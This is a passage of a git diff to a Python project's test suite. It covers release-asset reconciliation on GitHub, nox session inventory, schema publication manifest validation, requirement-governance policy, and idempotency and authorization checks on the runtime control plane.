'{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}', + ], + published_assets=True, + ) + + assert result.returncode == 0, result.stderr + assert "is already attached with the admitted bytes" in result.stdout + # Each distribution is compared and left in place; only the evidence that + # is genuinely absent is written. + assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == [ + "download", # wheel compared + "download", # sdist compared + "upload", + "download", + "upload", + "download", + "patch", + ] + + +@pytest.mark.integration +def test_github_attachment_refuses_a_conflicting_existing_asset(tmp_path: Path) -> None: + """A same-name asset with different bytes fails visibly (#1227).""" + + result = _run_github_finalization( + tmp_path, + release_states=[ + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + ], + published_assets=True, + mismatched_download=True, + ) + + assert result.returncode != 0 + assert "already stores raes-3.4.5-py3-none-any.whl with different bytes" in result.stderr + assert "patch" not in (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() + + +def test_publishers_consume_the_original_artifact_and_never_rebuild() -> None: + """Recovery reuses the admitted bytes; an absent artifact halts the run. + + A publisher that could rebuild would silently replace a same-version + release when the original artifact has aged out, which is the one outcome + #1227 and ADR-107 both forbid. The download is therefore the only source + of publishable bytes, and it is not permitted to fail soft. + """ + + jobs = _load(RELEASE_PATH)["jobs"] + expected_artifact = "release-distributions-${{ needs.resolve-release.outputs.release_sha }}" + + for name in ("admit-release", "publish-pypi", "publish-github"): + job = jobs[name] + download = _named_step(job, "Download the tested release distributions") + assert download["with"]["name"] == expected_artifact, name + assert download.get("continue-on-error") is None, name + # No publisher-side build, and no fallback that could substitute bytes. + for step in job["steps"]: + assert "python_closure build" not in step.get("run", ""), name + assert step.get("continue-on-error") is None, name + + +@pytest.mark.integration +def test_github_attachment_fails_closed_on_an_uncertain_asset_listing(tmp_path: Path) -> None: + """An unavailable asset listing is not "nothing is attached yet". + + Reading a failed query as absence would let a transient API error turn + into an overwrite of an already-published asset. + """ + + result = _run_github_finalization( + tmp_path, + release_states=['{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}'], + asset_list_fails=True, + ) + + assert result.returncode != 0 + assert "upload" not in (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() + + +@pytest.mark.integration +def test_github_attachment_accepts_preexisting_matching_evidence(tmp_path: Path) -> None: + """A retry after evidence was attached but before finalization completes. + + Retained evidence goes through the same reconciliation as a distribution, + so matching bytes are accepted rather than failing on an existing asset. + """ + + result = _run_github_finalization( + tmp_path, + release_states=[ + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}', + ], + published_assets=True, + published_evidence=True, + ) + + assert result.returncode == 0, result.stderr + assert "Retained 2 evidence documents with verified readback digests" in result.stdout + # Everything is already attached with the admitted bytes, so the run only + # compares and then finalizes. + assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == [ + "download", + "download", + "download", + "download", + "patch", + ] + + +@pytest.mark.integration +def test_github_attachment_refuses_preexisting_conflicting_evidence(tmp_path: Path) -> None: + """Divergent retained evidence is an incident, not something to overwrite.""" + + result = _run_github_finalization( + tmp_path, + release_states=[ + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + ], + published_assets=True, + conflicting_evidence=True, + ) + + assert result.returncode != 0 + assert "with different bytes" in result.stderr + assert "upload" not in (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() + assert "patch" not in (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() diff --git a/implementations/python/tests/test_repo_policy_tools.py b/implementations/python/tests/test_repo_policy_tools.py index d26154bbb..24e30d052 100644 --- a/implementations/python/tests/test_repo_policy_tools.py +++ b/implementations/python/tests/test_repo_policy_tools.py @@ -65,7 +65,11 @@ def decorate(function: object) -> object: ) from tools.check_generated_schemas import _extra_published_schema_paths from tools.check_json_artifacts import ValidationTarget, collect_validation_targets, should_run_full_validation -from tools.check_schema_publication import schema_content_hash, validate_schema_publication_manifest +from tools.check_schema_publication import ( + load_schema_publication_catalog, + schema_content_hash, + validate_schema_publication_manifest, +) from tools.gitleaks_tool import gitleaks_binary_path from tools.parallel_verification import VerificationLane, run_verification_lanes from tools.policy.common import PolicyFailure @@ -170,7 +174,7 @@ def test_noxfile_owns_session_registration_and_nox_configuration() -> None: noxfile_tree = ast.parse(noxfile_source) assert 'nox.options.default_venv_backend = "none"' in noxfile_source assert "nox.options.reuse_existing_virtualenvs = True" in noxfile_source - assert 'nox.options.sessions = ["verify"]' in noxfile_source + assert 'nox.options.sessions = ["verify-fast-feedback"]' in noxfile_source for module_name in NOX_SUPPORT_MODULES: support_source = (REPO_ROOT / "tools" / "nox_support" / f"{module_name}.py").read_text(encoding="utf-8") assert "@nox.session" not in support_source @@ -221,7 +225,10 @@ def test_noxfile_registers_the_exact_public_session_inventory() -> None: "verify", "verify-changed", "verify-completion", + "verify-coverage-reduce", + "verify-fast-feedback", "verify-integration-lane", + "verify-shard", "verify-static-lane", "verify-tests-lane", } @@ -410,6 +417,7 @@ def skip(self, name: str, reason: str) -> None: def test_policy_lanes_route_commands_and_report_skips(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr(nox_runner, "current_requirement_branch", lambda _root: "fixture-command-routing") session = types.SimpleNamespace() reporter = ImmediateReporter() commands: list[tuple[str, ...]] = [] @@ -570,51 +578,34 @@ def log(self, message: str) -> None: ) -def test_change_selected_graph_routes_plans_and_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None: - class FakeSession: - def __init__(self) -> None: - self.messages: list[str] = [] - - def log(self, message: str) -> None: - self.messages.append(message) - - session = FakeSession() +def test_local_changed_graph_never_selects_the_full_suite(monkeypatch: pytest.MonkeyPatch) -> None: + session = types.SimpleNamespace(log=lambda _message: None) reporter = ImmediateReporter() - calls: list[str] = [] - plan = types.SimpleNamespace(contracts=False, regression=False, fuzz=False, docs=False, reason="prose") - monkeypatch.setattr(nox_graph, "collect_git_changes", lambda *_args: [types.SimpleNamespace(path="README.md")]) - monkeypatch.setattr(nox_graph, "plan_for_changes", lambda _changes: plan) - monkeypatch.setattr(nox_graph, "_requirement_aware_policy_args", lambda *args: list(args)) - for name in ("_run_hygiene", "_run_policy", "_run_lint", "_run_contracts", "_run_tests", "_run_fuzz", "_run_docs"): - monkeypatch.setattr(nox_graph, name, lambda *_args, _name=name, **_kwargs: calls.append(_name)) - + calls: list[object] = [] + monkeypatch.setattr(nox_graph, "_run_fast_feedback", lambda *args: calls.append(args)) + monkeypatch.setattr( + nox_graph, "_run_parallel_verification", lambda *_args, **_kwargs: pytest.fail("full local suite") + ) + monkeypatch.setattr(nox_graph, "collect_git_changes", lambda *_args: []) + for name in ("_run_hygiene", "_run_policy", "_run_lint", "_run_contracts"): + monkeypatch.setattr(nox_graph, name, lambda *_args, **_kwargs: None, raising=False) + monkeypatch.setattr( + nox_graph, "_run_tests", lambda *_args, **_kwargs: pytest.fail("full local suite"), raising=False + ) nox_graph._run_changed_verification(session, reporter, ["--base-rev", "base"]) - assert calls == ["_run_hygiene", "_run_policy", "_run_lint"] - assert {name for name, _reason in reporter.skips} == { - "contracts / governed artifact graph", - "tests / pytest", - "tests / pytest fuzz", - "docs / sphinx-build", - } + assert calls == [(session, reporter, ["--base-rev", "base"])] - plan.contracts = plan.regression = plan.fuzz = plan.docs = True - calls.clear() + +def test_completion_uses_targeted_feedback(monkeypatch: pytest.MonkeyPatch) -> None: + noxfile = load_noxfile_with_fake_nox(monkeypatch) + calls: list[object] = [] + monkeypatch.setattr(noxfile, "SessionReporter", lambda *_args: types.SimpleNamespace(summary=lambda: None)) + monkeypatch.setattr(noxfile, "_run_fast_feedback", lambda *args: calls.append(args[-1])) monkeypatch.setattr( - nox_graph, - "_changed_base_rev", - lambda _posargs: (_ for _ in ()).throw(RuntimeError("no upstream")), + noxfile, "_run_parallel_verification", lambda *_args, **_kwargs: pytest.fail("full local suite") ) - nox_graph._run_changed_verification(session, ImmediateReporter(), []) - assert calls == [ - "_run_hygiene", - "_run_policy", - "_run_lint", - "_run_contracts", - "_run_tests", - "_run_fuzz", - "_run_docs", - ] - assert any("failed closed" in message for message in session.messages) + noxfile.verify_completion(types.SimpleNamespace(posargs=["--base-rev", "base"])) + assert calls == [["--base-rev", "base"]] def test_graph_base_revision_and_cpu_fallbacks(monkeypatch: pytest.MonkeyPatch) -> None: @@ -1005,7 +996,7 @@ def test_line_coverage_threshold_is_fixed_at_ninety_percent( @pytest.mark.integration -def test_make_policy_skips_only_requirement_governance_without_a_uid() -> None: +def test_make_policy_delegates_requirement_context_to_the_shared_nox_gate() -> None: environment = os.environ.copy() environment.pop("RAES_REQUIREMENT_UID", None) requirement_free = subprocess.run( @@ -1026,20 +1017,20 @@ def test_make_policy_skips_only_requirement_governance_without_a_uid() -> None: text=True, ).stdout - assert requirement_free.rstrip().endswith("-- --skip-requirement") + assert "--skip-requirement" not in requirement_free assert "--skip-requirement" not in requirement_scoped def test_hook_policy_context_skips_only_requirement_free_branches(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.delenv("RAES_REQUIREMENT_UID", raising=False) - monkeypatch.setattr(nox_runner, "_git_lines", lambda *_args: ["1104-minimal-coverage-policy"]) + monkeypatch.setattr(nox_runner, "current_requirement_branch", lambda _root: "1104-minimal-coverage-policy") assert nox_runner._requirement_aware_policy_args("--staged") == ["--staged", "--skip-requirement"] - monkeypatch.setattr(nox_runner, "_git_lines", lambda *_args: ["1104-ASR-505-coverage-policy"]) + monkeypatch.setattr(nox_runner, "current_requirement_branch", lambda _root: "1104-ASR-505-coverage-policy") assert nox_runner._requirement_aware_policy_args("--staged") == ["--staged"] monkeypatch.setenv("RAES_REQUIREMENT_UID", "ASR-505") - monkeypatch.setattr(nox_runner, "_git_lines", lambda *_args: ["1104-minimal-coverage-policy"]) + monkeypatch.setattr(nox_runner, "current_requirement_branch", lambda _root: "1104-minimal-coverage-policy") assert nox_runner._requirement_aware_policy_args("--staged") == ["--staged"] @@ -2644,47 +2635,79 @@ def test_schema_publication_manifest_accepts_independent_v2_records(tmp_path: Pa assert validate_schema_publication_manifest(repo_root) == [] -def test_schema_publication_manifest_rejects_last_change_without_summary(tmp_path: Path) -> None: - repo_root = tmp_path - schema_path = repo_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" - write_text(schema_path, _published_schema({"name": {"type": "string"}})) +def test_schema_publication_manifest_accepts_coverage_metadata_in_both_storage_forms(tmp_path: Path) -> None: + """The publication gate keeps its own scope when a record carries coverage metadata. + + ``coverage`` is repository governance owned by ``check_schema_coverage.py`` + (issue #1330). The publication manifest must neither reject it nor be taken + to validate it, in the legacy inline array or in the sharded v2 records. + """ + + import json + + coverage = { + "rationale": "The contract has no standalone corpus document to route.", + "sources": [ + { + "kind": "test", + "path": "implementations/python/tests/test_repo_policy_tools.py", + "supports": "Publication-record shape at the contract-publication phase.", + } + ], + } + + legacy_root = tmp_path / "legacy" + legacy_schema = legacy_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" + write_text(legacy_schema, _published_schema({"name": {"type": "string"}})) write_schema_publication_manifest( - repo_root, + legacy_root, [ { "contract_id": "draft-contract-v1", "schema_path": "contracts/schemas/sdl/draft-contract-v1.json", - "stability": "draft", - "last_change": {"content_hash": schema_content_hash(schema_path)}, + "coverage": coverage, }, ], ) - failures = validate_schema_publication_manifest(repo_root) - assert any("last_change.summary" in failure for failure in failures) - + assert validate_schema_publication_manifest(legacy_root) == [] -def test_schema_publication_manifest_rejects_last_change_hash_mismatch(tmp_path: Path) -> None: - repo_root = tmp_path - schema_path = repo_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" - write_text(schema_path, _published_schema({"name": {"type": "string"}})) - write_schema_publication_manifest( - repo_root, - [ + sharded_root = tmp_path / "sharded" + sharded_schema = sharded_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" + write_text(sharded_schema, _published_schema({"name": {"type": "string"}})) + digest = schema_content_hash(sharded_schema) + write_text( + sharded_root / "contracts" / "schema-publication-manifest.json", + json.dumps( + { + "schema_version": "schema-publication-manifest/v2", + "hash_algorithm": "sha256", + "entries_directory": "contracts/schema-publication/entries", + "tombstones_directory": "contracts/schema-publication/tombstones", + } + ) + + "\n", + ) + write_text( + sharded_root / "contracts" / "schema-publication" / "entries" / "draft-contract-v1.json", + json.dumps( { "contract_id": "draft-contract-v1", "schema_path": "contracts/schemas/sdl/draft-contract-v1.json", "stability": "draft", - "last_change": {"summary": "stale ledger entry", "content_hash": "0" * 64}, - }, - ], + "content_hash": digest, + "coverage": coverage, + } + ) + + "\n", ) + write_text(sharded_root / "contracts" / "schema-publication" / "tombstones" / "README.md", "# Empty\n") - failures = validate_schema_publication_manifest(repo_root) - assert any("last_change.content_hash" in failure and "does not match" in failure for failure in failures) + assert validate_schema_publication_manifest(sharded_root) == [] + assert load_schema_publication_catalog(sharded_root)["schemas"][0]["coverage"] == coverage -def test_schema_publication_manifest_requires_ledger_when_schema_changes(tmp_path: Path) -> None: +def test_schema_publication_manifest_rejects_last_change_without_summary(tmp_path: Path) -> None: repo_root = tmp_path schema_path = repo_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" write_text(schema_path, _published_schema({"name": {"type": "string"}})) @@ -2695,15 +2718,19 @@ def test_schema_publication_manifest_requires_ledger_when_schema_changes(tmp_pat "contract_id": "draft-contract-v1", "schema_path": "contracts/schemas/sdl/draft-contract-v1.json", "stability": "draft", + "last_change": {"content_hash": schema_content_hash(schema_path)}, }, ], ) - _init_git_repo(repo_root) - _git_commit_all(repo_root, "base") - # Schema content changes vs base, manifest hash bumps, but no contract-facing - # ledger entry records why — the process gate must reject this. - write_text(schema_path, _published_schema({"name": {"type": "integer"}})) + failures = validate_schema_publication_manifest(repo_root) + assert any("last_change.summary" in failure for failure in failures) + + +def test_schema_publication_manifest_rejects_last_change_hash_mismatch(tmp_path: Path) -> None: + repo_root = tmp_path + schema_path = repo_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" + write_text(schema_path, _published_schema({"name": {"type": "string"}})) write_schema_publication_manifest( repo_root, [ @@ -2711,15 +2738,16 @@ def test_schema_publication_manifest_requires_ledger_when_schema_changes(tmp_pat "contract_id": "draft-contract-v1", "schema_path": "contracts/schemas/sdl/draft-contract-v1.json", "stability": "draft", + "last_change": {"summary": "stale ledger entry", "content_hash": "0" * 64}, }, ], ) - failures = validate_schema_publication_manifest(repo_root, base_rev="HEAD") - assert any("contract-facing change description" in failure for failure in failures) + failures = validate_schema_publication_manifest(repo_root) + assert any("last_change.content_hash" in failure and "does not match" in failure for failure in failures) -def test_schema_publication_manifest_accepts_changed_schema_with_current_ledger(tmp_path: Path) -> None: +def test_schema_publication_manifest_requires_ledger_when_schema_changes(tmp_path: Path) -> None: repo_root = tmp_path schema_path = repo_root / "contracts" / "schemas" / "sdl" / "draft-contract-v1.json" write_text(schema_path, _published_schema({"name": {"type": "string"}})) @@ -2736,6 +2764,8 @@ def test_schema_publication_manifest_accepts_changed_schema_with_current_ledger( _init_git_repo(repo_root) _git_commit_all(repo_root, "base") + # Schema content changes vs base, manifest hash bumps, but no contract-facing + # ledger entry records why — the process gate must reject this. write_text(schema_path, _published_schema({"name": {"type": "integer"}})) write_schema_publication_manifest( repo_root, @@ -2744,15 +2774,12 @@ def test_schema_publication_manifest_accepts_changed_schema_with_current_ledger( "contract_id": "draft-contract-v1", "schema_path": "contracts/schemas/sdl/draft-contract-v1.json", "stability": "draft", - "last_change": { - "summary": "Retype name to integer per contract review.", - "content_hash": schema_content_hash(schema_path), - }, }, ], ) - assert validate_schema_publication_manifest(repo_root, base_rev="HEAD") == [] + failures = validate_schema_publication_manifest(repo_root, base_rev="HEAD") + assert any("contract-facing change description" in failure for failure in failures) def test_schema_publication_manifest_requires_ledger_for_new_schema(tmp_path: Path) -> None: diff --git a/implementations/python/tests/test_requirement_governance.py b/implementations/python/tests/test_requirement_governance.py index 9dfd4ef67..193f612f1 100644 --- a/implementations/python/tests/test_requirement_governance.py +++ b/implementations/python/tests/test_requirement_governance.py @@ -290,6 +290,53 @@ def test_observability_conformance_policy_bounds_artifact_ownership( assert [failure.rule_id for failure in failures] == expected_rules +@pytest.mark.parametrize( + ("path", "expected_rules"), + [ + ("implementations/python/packages/raes_contracts/evidence_satisfaction.py", []), + ("implementations/python/tests/test_exp_732_evidence_provenance.py", []), + ("docs/requirements/EXP-732/requirement.md", []), + ("contracts/profiles/backend/provisioning-only.json", ["requirement-ownership-mismatch"]), + ("implementations/python/packages/raes_backend_libvirt/driver.py", ["requirement-ownership-mismatch"]), + ], +) +def test_evidence_provenance_policy_bounds_artifact_ownership(tmp_path: Path, path: str, expected_rules: list[str]): + repo_root = setup_policy_repo(tmp_path) + client = FakeClient( + requirements={"EXP-732": {"id": "req-exp-732", "uid": "EXP-732", "status": "ACTIVE"}}, + traceability={ + "req-exp-732": [ + {"artifact_identifier": path, "artifact_type": "CODE_FILE", "link_type": "IMPLEMENTS"}, + {"artifact_identifier": path, "artifact_type": "TEST", "link_type": "TESTS"}, + ] + }, + ) + failures = evaluate_requirement_governance(repo_root, [path], client=client, requirement_uid="EXP-732") + assert [failure.rule_id for failure in failures] == expected_rules + + +@pytest.mark.parametrize( + ("path", "expected_rules"), + [ + ("docs/requirements/ACT-612/requirement.md", []), + ("docs/requirements/SEM-209/requirement.md", []), + ("contracts/schema-publication/entries/sdl-authoring-input-v1.json", []), + ("contracts/profiles/backend/provisioning-only.json", ["requirement-ownership-mismatch"]), + ("docs/research/unrelated.md", ["requirement-ownership-mismatch"]), + ], +) +def test_participant_policy_tracks_local_requirements_and_publication_shards( + tmp_path: Path, path: str, expected_rules: list[str] +) -> None: + repo_root = setup_policy_repo(tmp_path) + client = FakeClient( + requirements={"ACT-612": {"id": "ACT-612", "uid": "ACT-612", "status": "ACTIVE"}}, + traceability={}, + ) + failures = evaluate_requirement_governance(repo_root, [path], client=client, requirement_uid="ACT-612") + assert [failure.rule_id for failure in failures] == expected_rules + + def test_unmapped_requirement_is_rejected(tmp_path: Path) -> None: repo_root = setup_policy_repo(tmp_path) client = make_client() diff --git a/implementations/python/tests/test_run_300_lifecycle.py b/implementations/python/tests/test_run_300_lifecycle.py index 4be6e6999..86239ec3c 100644 --- a/implementations/python/tests/test_run_300_lifecycle.py +++ b/implementations/python/tests/test_run_300_lifecycle.py @@ -102,7 +102,7 @@ def _raw_scenario(): blue: {{role: blue}} objectives: validate: - entity: blue + owner: blue success: {{assertions: [health]}} workflows: response: diff --git a/implementations/python/tests/test_run_310_supervisory_lifecycle.py b/implementations/python/tests/test_run_310_supervisory_lifecycle.py index bc62688b2..f1bdaba65 100644 --- a/implementations/python/tests/test_run_310_supervisory_lifecycle.py +++ b/implementations/python/tests/test_run_310_supervisory_lifecycle.py @@ -54,6 +54,8 @@ ) from starlette.testclient import TestClient +pytestmark = pytest.mark.control_plane_conformance + def _control_event(event_id: str, *, revision: int = 1) -> dict[str, object]: return { @@ -303,6 +305,8 @@ def test_control_history_round_trips_through_control_plane_store( store = ( InMemoryControlPlaneStore() if store_kind == "memory" else LocalControlPlaneStore(tmp_path / "control-plane") ) + if isinstance(store, LocalControlPlaneStore): + store.admit_runtime(target_scope="target:stub", run_scope="run:test") snapshot = RuntimeSnapshot( participant_control_history={"participant.behavior.red-agent": [_control_event("control-event-1")]} ) @@ -344,6 +348,8 @@ def test_atomic_control_transition_commit_checks_head_and_persists_all_outputs( store = ( InMemoryControlPlaneStore() if store_kind == "memory" else LocalControlPlaneStore(tmp_path / "control-plane") ) + if isinstance(store, LocalControlPlaneStore): + store.admit_runtime(target_scope="target:stub", run_scope="run:test") event = _control_event("control-event-1") snapshot = RuntimeSnapshot(participant_control_history={"participant.behavior.red-agent": [event]}) record = _operation_record() @@ -364,7 +370,14 @@ def test_atomic_control_transition_commit_checks_head_and_persists_all_outputs( expected_revision=store.load_snapshot_state().revision, ) - restarted = store if store_kind == "memory" else LocalControlPlaneStore(tmp_path / "control-plane") + if isinstance(store, LocalControlPlaneStore): + store.close() + assert store._active_runtime_lease is not None + store._active_runtime_lease.close() + restarted = LocalControlPlaneStore(tmp_path / "control-plane") + restarted.admit_runtime(target_scope="target:stub", run_scope="run:test") + else: + restarted = store assert restarted.load_snapshot().participant_control_history == snapshot.participant_control_history assert restarted.load_records()[record.receipt.operation_id] == record assert restarted.find_by_idempotency(record.idempotency_key) == record @@ -541,7 +554,7 @@ def test_supervisory_control_is_subject_bound_idempotent_and_state_revision_boun changed = intent.model_copy(update={"proposal_id": "proposal-2"}) changed_identity = _identity() - with pytest.raises(ValueError, match="different semantics"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): control_plane.record_participant_control( _PARTICIPANT, changed, @@ -869,7 +882,9 @@ def fail_record_upsert( ) assert not control_plane.snapshot.participant_control_history + control_plane.close() restarted = LocalControlPlaneStore(tmp_path / "control-plane") + restarted.admit_runtime(target_scope="target:stub", run_scope="run:default") assert not restarted.load_snapshot().participant_control_history assert not restarted.load_records() assert not restarted.read_audit() @@ -932,13 +947,14 @@ def test_supervisory_http_route_is_closed_subject_bound_and_idempotent() -> None }, headers={**headers, "idempotency-key": "key-3"}, ) + history = control_plane.snapshot.participant_control_history assert first.status_code == 200 assert retry.status_code == 200 assert retry.json()["operation_id"] == first.json()["operation_id"] assert smuggled.status_code == 422 assert invalid_target.status_code == 422 - assert len(control_plane.snapshot.participant_control_history[_PARTICIPANT]) == 1 + assert len(history[_PARTICIPANT]) == 1 def test_supervisory_http_route_rejects_unbound_subject_without_occurrence() -> None: @@ -959,8 +975,9 @@ def test_supervisory_http_route_rejects_unbound_subject_without_occurrence() -> json=_proposal_body(), headers={"authorization": "Bearer operator-token"}, ) + history = control_plane.snapshot.participant_control_history assert known.status_code == 403 assert unknown.status_code == 403 assert known.json() == unknown.json() == {"detail": "forbidden"} - assert not control_plane.snapshot.participant_control_history + assert not history diff --git a/implementations/python/tests/test_run_319_participant_flow_policy.py b/implementations/python/tests/test_run_319_participant_flow_policy.py index 45b95b9de..1fe43b5a7 100644 --- a/implementations/python/tests/test_run_319_participant_flow_policy.py +++ b/implementations/python/tests/test_run_319_participant_flow_policy.py @@ -56,6 +56,8 @@ ) from raes_runtime.participant_retrieval import _context_revision_paths, _ContextViewOptions +pytestmark = pytest.mark.control_plane_conformance + def test_crossing_history_is_first_class_serialized_and_operational_state() -> None: request = crossing_request() @@ -215,7 +217,7 @@ def test_operation_bound_idempotency_replays_neither_decision_nor_action() -> No behavior_count = len(plane.snapshot.participant_behavior_history[PARTICIPANT]) assert behavior_count >= 2 different_request = admission_request(action_instance_id="different") - with pytest.raises(ValueError, match="different semantics"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): admit( plane, request=different_request, @@ -234,7 +236,7 @@ def test_operation_bound_idempotency_rejects_replay_after_state_cut_advances() - idempotency_key="later-operation", ) - with pytest.raises(ValueError, match="state cut advanced"): + with pytest.raises(ValueError, match="idempotency claim conflicts with the original request"): admit(plane, idempotency_key="state-cut-bound") diff --git a/implementations/python/tests/test_runtime_conformance.py b/implementations/python/tests/test_runtime_conformance.py index d46ece8a0..8c781661f 100644 --- a/implementations/python/tests/test_runtime_conformance.py +++ b/implementations/python/tests/test_runtime_conformance.py @@ -682,7 +682,7 @@ def _boundary_payload(transition_id: str, action_instance_id: str) -> dict[str, def _participant_payload(boundary_address: str) -> dict[str, object]: return { "participant_name": "agent", - "entity_name": "team", + "affiliation_names": ["team"], "action_contract_addresses": [action_address], "observation_boundary_addresses": [boundary_address], "interpretation_mode": "role-neutral-projection", @@ -785,7 +785,7 @@ def _snapshot_entry(address: str, resource_type: str, payload: dict[str, object] def _participant_payload() -> dict[str, object]: return { "participant_name": "red-agent", - "entity_name": "red-team", + "affiliation_names": ["red-team"], "action_contract_addresses": [action_address], "observation_boundary_addresses": [boundary_address], "interpretation_mode": "role-neutral-projection", @@ -1316,7 +1316,7 @@ def _reference_scenario(node_name: str) -> str: entities: blue: {{role: blue}} objectives: - validate: {{entity: blue, success: {{assertions: [health]}}}} + validate: {{owner: blue, success: {{assertions: [health]}}}} workflows: response: start: run diff --git a/implementations/python/tests/test_runtime_control_plane.py b/implementations/python/tests/test_runtime_control_plane.py index c0e41fb59..e84d2bf05 100644 --- a/implementations/python/tests/test_runtime_control_plane.py +++ b/implementations/python/tests/test_runtime_control_plane.py @@ -44,6 +44,8 @@ from raes_runtime.control_plane_store import ControlPlaneOperationRecord from raes_runtime.registry import RuntimeTarget +pytestmark = pytest.mark.control_plane_conformance + def _scenario(yaml_str: str): return parse_sdl(textwrap.dedent(yaml_str)) @@ -86,7 +88,7 @@ def _participant_binding_scenario_yaml() -> str: latency_profile: terminal observation emitted after state transition commit agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] """ @@ -633,7 +635,7 @@ def test_control_plane_submits_orchestration_with_portable_workflow_state(): blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: diff --git a/implementations/python/tests/test_runtime_control_plane_api.py b/implementations/python/tests/test_runtime_control_plane_api.py index 4b2b247be..4c983b714 100644 --- a/implementations/python/tests/test_runtime_control_plane_api.py +++ b/implementations/python/tests/test_runtime_control_plane_api.py @@ -55,9 +55,11 @@ from raes_runtime.control_plane_security import ( ControlPlaneIdentity, ControlPlaneRole, + ControlPlaneRouteAuthority, ControlPlaneSecurityConfig, ) from raes_runtime.control_plane_store import ( + IDEMPOTENCY_CLAIM_CONFLICT, ControlPlaneOperationRecord, LocalControlPlaneStore, SnapshotRevisionConflict, @@ -65,6 +67,8 @@ from starlette.requests import Request from starlette.testclient import TestClient +pytestmark = pytest.mark.control_plane_conformance + _T = TypeVar("_T") @@ -78,6 +82,19 @@ def _run(coroutine: Coroutine[Any, Any, _T]) -> _T: loop.close() +def _admitted_local_store(path: Path) -> LocalControlPlaneStore: + store = LocalControlPlaneStore(path) + store.admit_runtime(target_scope="target:stub", run_scope="run:default") + return store + + +def _close_admitted_local_store(store: LocalControlPlaneStore) -> None: + store.close() + lease = store._active_runtime_lease + assert lease is not None + lease.close() + + def _scenario(yaml_str: str): return parse_sdl(textwrap.dedent(yaml_str)) @@ -301,7 +318,7 @@ def test_control_plane_api_maps_mutation_value_errors_to_conflict_responses( app = create_control_plane_app(control_plane, security=_test_security(target.name)) def conflict(*_args: object, **_kwargs: object) -> None: - raise ValueError("forced mutation conflict") + raise ValueError(IDEMPOTENCY_CLAIM_CONFLICT) monkeypatch.setattr(control_plane, method_name, conflict) headers = { @@ -313,7 +330,7 @@ def conflict(*_args: object, **_kwargs: object) -> None: response = client.post(path, json=payload, headers=headers) assert response.status_code == 409 - assert response.json() == {"detail": "forced mutation conflict"} + assert response.json() == {"detail": "operation conflict"} def test_control_plane_api_returns_not_found_for_unknown_operation() -> None: @@ -330,7 +347,36 @@ def test_control_plane_api_returns_not_found_for_unknown_operation() -> None: ) assert response.status_code == 404 - assert response.json() == {"detail": "Unknown operation: unknown-operation"} + assert response.json() == {"detail": "operation not found"} + + +def test_control_plane_api_does_not_disclose_cross_actor_operation_status() -> None: + target = create_stub_target() + app = create_control_plane_app( + RuntimeControlPlane(target), + security=_test_security(target.name), + ) + owner_headers = { + "x-raes-client-verified": "true", + "x-raes-client-identity": "backend-service", + } + auditor_headers = {"authorization": "Bearer test-auditor-token"} + + with TestClient(app) as client: + submitted = client.post( + "/operations/provisioning", + json=_provisioning_payload(ProvisioningPlan()), + headers=owner_headers, + ) + operation_id = submitted.json()["operation_id"] + owner = client.get(f"/operations/{operation_id}", headers=owner_headers) + unauthorized = client.get(f"/operations/{operation_id}", headers=auditor_headers) + unknown = client.get("/operations/not-an-operation", headers=auditor_headers) + + assert submitted.status_code == 200 + assert owner.status_code == 200 + assert unauthorized.status_code == unknown.status_code == 404 + assert unauthorized.json() == unknown.json() def test_control_plane_call_lookup_fails_closed_without_configured_executor() -> None: @@ -367,6 +413,7 @@ def test_control_plane_api_accepts_evaluation_plan() -> None: json=evaluation_plan_model(execution_plan.evaluation).model_dump(mode="json", exclude_none=True), headers=headers, ) + status = control_plane.get_operation(response.json()["operation_id"]) assert response.status_code == 200 receipt = response.json() @@ -374,7 +421,6 @@ def test_control_plane_api_accepts_evaluation_plan() -> None: assert receipt["context"]["target_scope"] == f"target:{target.name}" assert receipt["context"]["operation_kind"] == "evaluation" assert receipt["context"]["request_commitment"].startswith("sha256:") - status = control_plane.get_operation(receipt["operation_id"]) assert status is not None assert status.state is OperationState.SUCCEEDED assert status.context.model_dump(mode="json") == receipt["context"] @@ -411,10 +457,10 @@ def test_control_plane_api_audits_denied_operation_receipt_as_denied() -> None: json=orchestration_plan_model(submitted_plan).model_dump(mode="json", exclude_none=True), headers=headers, ) + audits = [event for event in control_plane.audit_log() if event.operation_id == response.json()["operation_id"]] assert response.status_code == 200 assert response.json()["accepted"] is False - audits = [event for event in control_plane.audit_log() if event.operation_id == response.json()["operation_id"]] assert len(audits) == 1 assert audits[0].action == "orchestration_admission" assert all(event.identity == "backend-service" and event.allowed is False for event in audits) @@ -469,7 +515,7 @@ def test_control_plane_api_rejects_unregistered_nonempty_phase_plan(domain: str) blue: {role: blue} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -499,10 +545,11 @@ def 